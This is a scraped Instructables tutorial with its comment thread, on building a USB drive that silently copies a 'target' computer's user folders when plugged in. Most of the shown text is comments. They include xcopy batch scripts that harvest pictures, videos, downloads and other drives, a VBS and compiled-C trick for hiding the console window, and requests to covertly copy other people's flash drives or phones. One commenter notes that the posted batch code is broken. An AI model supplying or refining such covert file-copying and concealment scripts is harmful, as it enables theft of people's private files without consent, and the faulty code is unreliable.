loading
****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY****************

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials needed

Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
<p>test 123</p>
<p>man i have a problem i cant save a text as an .inf text on the usb drive what should i do??pls someone help</p>
<p>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you wanto make it work as a autorun file the windows verison has to be before 7. Sorry.</p><p>- Noah Wamboldt</p>
<p>Then does it works with windows 7 ?</p>
<p>how do i save bookmarks in firefox and google crome </p>
<p>hey is there a way to auto run the file.bat without it showing up?</p>
<p>becuse when i plug in my usb it dose not auto run</p>
<p>is there a way to delete the original files after copying them to the thumb drive and/or instead of copying, just moving them from point a to point b?</p>
<p>use XCOPY instead of COPY</p>
I got a notification email and when I come online to read it by clicking the REPLY link at the bottom, I come here and his Reply is nowhere to be found. So either something is screwed up with this site or he deleted his own Reply before I could see it online. I'm lost.<br>I Replied with this same stuff earlier and it isn't anywhere to be found either. So either the site is screwed up BIG TIME or someone is deleting both his Replies and Mine. It all makes no sense to me.<br>I wanted clarification on what to do with what Joseph had said as it seems to be aimed at a Windows XP user since it says to do things in a Start Search box and I don't think that those exist on a Windows 10 machine. I tried typing 'gpedit.msc' in Cortana's box and she didn't know what the heck I was asking her about. So, I'm lost still. <br>-----------------------------------------<br>From: JosephS177<br>Date: May 30, 2016. 11:51 PM<br>Subject: http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br><br>The min command you mentioned isn't a command, I don't believe and auto run has been disabled as a standard since ~2009. Also, if you think partitioning in Windows is hard, try doing it in Terminal on Snow Leopard when it thinks it's not a device.<br>To enable Autorun you will have to change some settings on your computer. Click Start, type gpedit.msc in the Start Search box and then press ENTER. If you are prompted for an Administrator password or for confirmation, type the password or click Allow. Under Computer Configuration, expand Administrative Templates, then expand Windows Components and then click Autoplay Policies. In the Details pane, double click on Turn OFF Autoplay and make sure that it is set to disabled. In the Details pane, double click on Default behavior for Autorun, set it to Enabled and then select Automatically execute the autorun commands. Restart your computer.<br><br>reply: http://www.instructables.com/you/backtalk/?action=reply&amp;commentId=CUO943MIOSPDTFR<br>
<p>Please help me someone. I'm not to knowledgeable about this stuff but I really want to just use my little flash drive as a backup for my own stuff. It worked so cool the first time even though it ran for hours overnight. But it won't autostart and even though I can manually start it by clicking file.bat in File Explorer, I want it to work. AND I see a weird &quot; '/min' is not recognized as an internal or external command, operable program or batch file&quot; and also a few weird ACCESS DENIED errors in the box as it runs. But after checking, I think that it is copying everything. </p><p>This site won't let me paste in what I have in file.bat on this Windows 10 ACER. It acts like it will and flashes the text but then they're just gone. So I'll post PrintScreens instead.</p>
I don't understand how to use this site and I'm WAY sure that I'm not alone. It is screwed up if you ask me.<br>I got an email saying:<br>-----------------------------------------<br>From: NoahW9<br>Date: Apr 3, 2016. 1:32 PM<br>Subject: http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.- Noah Wamboldt<br>reply: http://www.instructables.com/you/backtalk/?action=reply&amp;commentId=C84TN0FIMKTNO4Y<br>------------------------------------------<br>But when I clicked on the REPLY link on my Windows smartphone, it brought me to this site and that Reply of his was nowhere to be found. So then I thought that it must just be something wrong with my smartphone or some issue with how this site works on smartphones. <br>But now when I come to it on my Windows 10 computer by clicking on the same REPLY link in the email in my Outlook 2013, I also don't find his Reply anywhere. <br>So someone in IT REALLY needs to fix this site I guess. <br>I'll just give up on this site and use Tech Republic, Microsoft Answers, Bob's and other places to help me with stuff.<br>
I got a Reply on this but I haven't been able to find it online. Either I'm going nuts or this site is.<br>It came from JosephS177 on 5/31 but it is nowhere to be found. The email &amp; he said:<br>&quot;From: JosephS177<br>Date: May 30, 2016. 11:51 PM<br>Subject: http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br>The min command you mentioned isn't a command I don't believe and auto run has been disabled as standard since ~2009 also if you think partitioning in windows is hard try doing it in terminal on snow leopard when it thinks it's not a device.TLDR&quot;To enable Autorun you will have to change some settings on your computer, Click Start, type gpedit.msc in the Start Search box, and then press ENTER. If you are prompted for an administrator password or for confirmation, type the password or click Allow Under Computer Configuration, expand Administrative Templates, then expand Windows Components, and then click Autoplay Policies. In the Details pane, double click on Turn off Autoplay ,and make sure that it is set to disabled. In the Details pane, double click on Default behavior for Autorun, set it to Enabled and then select Automatically execute the autorun commands Restart your computer.&quot;<br><br>reply: http://www.instructables.com/you/backtalk/?action=reply&amp;commentId=CUO943MIOSPDTFR &quot;<br>But clicking on either of those links brings me here and his Reply is nowhere to be found and believe my, I've tried.<br>Not only am I having that problem with this site but I also think that Joseph must be describing how I could make this flash drive program auto-start if I was using Windows XP since my Windows 10 doesn't seem to have anything called Start that I can Click to type in gpedit.msc in some Start Search box. Am I losing it&iquest;
<p>Yeah I am having the same problem<br><br>Everytime I have to click the file.bat</p>
I've been told that Microsoft built Windows 10 to not allow anything in a USB Flash Drive to autostart for security purposes. So I guess the only option is to click that file.bat each time only after you Delete any files that it saved the last time into any of the folders in ALL that you've edited on your computer. That way it will copy the new copy of it since this program unfortunately doesn't just sync them and only keep the newest copy. It apparently just skips it if it finds a file with the same name. <br>I'd actually asked for someone to help me make it do a SYNC instead of a COPY in this Question that I asked over at Microsoft Answers: http://answers.microsoft.com/en-us/windows/forum/windows_10-files/edited-can-i-have-help-making-this-homemade-usb/4ddaad45-70c2-4313-a78d-1682735fe1ee<br>Also, I've been told that even though Windows 10 is designed to not perform an autostart after inserting a USB Flash Drive, apparently there's a workaround where you can somehow designate some partition on the Flash Drive as if it is a CD or DVD disc and then Windows 10 can do the autostart. But that stuff is way over my head so I just do it the simple way by clicking FILE.BAT to get it going after you insert the Flash Drive and File Explorer pops up showing you what is on it.
<p>The min command you mentioned isn't a command I don't believe and auto run has been disabled as standard since ~2009 also if you think partitioning in windows is hard try doing it in terminal on snow leopard when it thinks it's not a device.</p><p>TLDR</p><p>&quot;</p><p>To enable Autorun you will have to change some settings on your computer.</p><ol><li>Click Start, type gpedit.msc in the Start Search box, and then press<br>ENTER.<li>If you are prompted for an administrator password or for<br>confirmation, type the password, or click Allow.<li>Under Computer Configuration, expand Administrative Templates, then expand Windows<br>Components, and then click Autoplay Policies.<li>In the Details pane, double click on <em>Turn off Autoplay</em> ,and make sure that it is set to disabled<li>In the Details pane, double click on <em>Default behavior for Autorun</em>, set it to Enabled and then select Automatically execute the autorun commands<li>Restart your computer.</ol><p>&quot;</p>
<p>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.</p><p>- Noah Wamboldt</p>
I must have changed something in mid March 2016 since when I just ran it, it took a long time and it seemed to sync IE only Copy in any files that had been Modified. It took a long time, maybe an hour+?, as I saw it go thru the entire list of files is that little black screen instead of just the short list as it had done before.<br>If anyone knows what Setting I must have changed and where it is, could you tell me so I can make a note of that for the future?
<p>We have to double click launch.bat file to start copying. It is not automatically starting.</p>
<p>We have to double click launch.bat file to start copying. It is not automatically starting.</p>
<p>I'm currently only using the .bat file to transport files from &quot;to USB&quot; folder on my desktop to my thumb drive. </p><p>Maybe later i will add the invisible part. Sad though that the autorun does not work on newer version.</p><p>Ty for this tutorial, i found the way it is explained very clear.</p>
This is gibberish.<br><br>/min is not a command (it is an argument for the start command)<br>You dont specify the flash drives letter at any point,<br>You haven't set the variables odrive or drive (so they will be blank)<br>Variable Odrive equals variable odrive minus the last two letters?<br>Echo is off already, no need to type it three times.<br>You clear the screen before exit - why, nobody will see because the program is closed..<br><br>@echo off<br>:: variables<br>/min<br>SET odrive=%odrive:~0,2%<br>set backupcmd=xcopy /s /c /d /e /h /i /r /y<br>echo off<br>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;<br>%backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\all\Favorites&quot;<br>%backupcmd% &quot;%USERPROFILE%\videos&quot; &quot;%drive%\all\vids&quot;<br>@echo off <br>cls
<p>$25 for an 8 gig drive? Wow! HUGE RIPOFF!!!!!! I got a package of 2 8GB cruzer glides for a little under $20.</p>
<p>Can this script be modified to steal files off usb drives?</p>
Can this be modified to steal files off android devices?
Yes it sort of can be modified but you then need to learn how to use Python
<p>Could anyone help me please? I just made one of these on my XP machine. Then I took the flashdrive to my Windows 10 ACER Aspire Z and it worked as it should when I put it in or at least I think it copied everything. I'm the only User so I'm also the Admin. But the 2nd time I inserted it, a box popped saying that it needed to restructure the drive or something (don't remember). I stupidly let it.<br>Then when I pulled it out and put it back in, nothing happened. The only way that I found to make it run at all is to use File Explorer and find file.bat and right click it and click RUN AS ADMINISTRATOR. </p><p>So I did that and it seemed to copy files. I was surprised since I'd needed to figure out what to name a few folders in file.bat and also since I saw a few 'ACCESS DENIED' as it ran. I reviewed everything I find in ALL and it seems like all is there. <br>I'd really like to fix it so that it will run just by inserting it. I took it back over to my XP and copied the 4 special files to the desktop and then did a Quick Format on the drive and then copied those 4 files back on and I created a folder named ALL.</p><p>But it still doesn't auto-start so I still need to go click on file.bat to get it going. At least this time I didn't need to RUN AS ADMINISTRATOR.</p><p>I'd also wanted to test it to figure out if I modified a file or even if I Deleted one, whether or not it would do that on the flash drive. <br>I'm new to this site and I don't know if it will email me if someone responds to help me. I hope that it does.</p>
<p>Am having issues am using a windows 8 and i followed the instructions one after the other but its not working </p>
<p>How can I make it to copy a flash drive? Let say someone has a flash drive plugged in and I put mine in and I can copy them without them knowing? I copied everything above and it works but i also want to be able to copy there flash drive help!!</p>
I made all the file as described but its is not working my windows is 8.1 pro. Plz. Solve my problem as fast as can. After i click on file.bat command prompt pop up and copying start . Solve my problem. Thanks
<p>my only question is how do you reverse the processs? How do you make the computer copy the USB files onto the computer? it seems that would be better for trolling</p>
<p>In the file.bat this code is in there to copy files from the PC.</p><p>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;</p><p>So if you switched the two codes in quotes it'll copy files from the USB. Like So.</p><p>%backupcmd% &quot;%drive%\all\My pics&quot; &quot;%USERPROFILE%\pictures&quot;</p>
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\backup\favorites&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.wmv&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Contacts&quot; &quot;%drive%\backup\contacts&quot; %backupcmd% &quot;%USERPROFILE%\Links&quot; &quot;%drive%\backup\links&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;%USERPROFILE%\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mpg&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Pictures&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Videos&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;D:\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.wmv&quot; &quot;%drive%\backup\vid&quot; @echo on cls
<p>it only copy one file with same extention. but how we can copy many files with same extension</p>
hmm, is there a simple way i can exclude a specific folder? like say... &quot;AppData&quot;<br>it just keeps getting in the way.
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say &quot; CreateObject(&quot;Wscript.Shell&quot;).Run &quot;&quot;&quot;&quot; &amp; WScript.Arguments(0) &amp; &quot;&quot;&quot;&quot;, 0, False &quot; also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
There is in fact a way to not have a command box come up. The way I do it is:<br> +Write (and compile) a C file that runs your batch file's commands invisibly<br> <br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;windows.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; int main()<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system(&quot;examplefile.bat&quot;);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (0);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br> <br> <br> <br> +Write a VBS file that runs that compiled C program (now a shiny .EXE file)<br> <br> &nbsp;&nbsp;&nbsp; Set objSh = CreateObject(&quot;Shell.Application&quot;)<br> &nbsp;&nbsp;&nbsp; objSh.ShellExecute &quot;example-exe-file&quot;, &quot;&quot; , &quot;&quot;, &quot;&quot;, 0<br> <br> Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.<br> <br> This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).<br> <br> For more help, just comment.<br> <br> By the way, I was about to write an instructable on that, but now I dont think it's necassary.<br> <br>
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
hey please show me what to assign to folder for example if i want any bat file i say&quot; *.bat&quot; and for any file &quot;*.*&quot; what can i say for any folder any whare?? please ur blessed and show me
how would you coppy the documents folder please paste the code in the reponse.
<p>Yes, I will answer; Learn batch code. You really need that. It will make everything on your computer easier. For your needs:</p><p><em>@echo off</em></p><p><em>xcopy C:\Users\%USERNAME%\Documents E: /E /H</em></p><p>xcopy is a powerfool tool. Use it wisely! 'With great power, comes great responsibility.' ;P</p>
How can i root the files?And how did you do the icon?
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example &quot;G://&quot;)
<p>but how</p><p>???</p>
<p>hey I want to copy only those files which are selected by user.........at some predefined location........to copy those files I will provide one option in right click context menu....</p>
<p>hey I want to copy only those files which are selected by user.......at some default location which is predefined.......</p><p>to copy the files I want to give one extra option when user right click on that file......</p>

About This Instructable

1,173,727views

578favorites

License:

More by bigdaddyclint:How to make flash drive that copy's users files silently and automatically 
Add instructable to: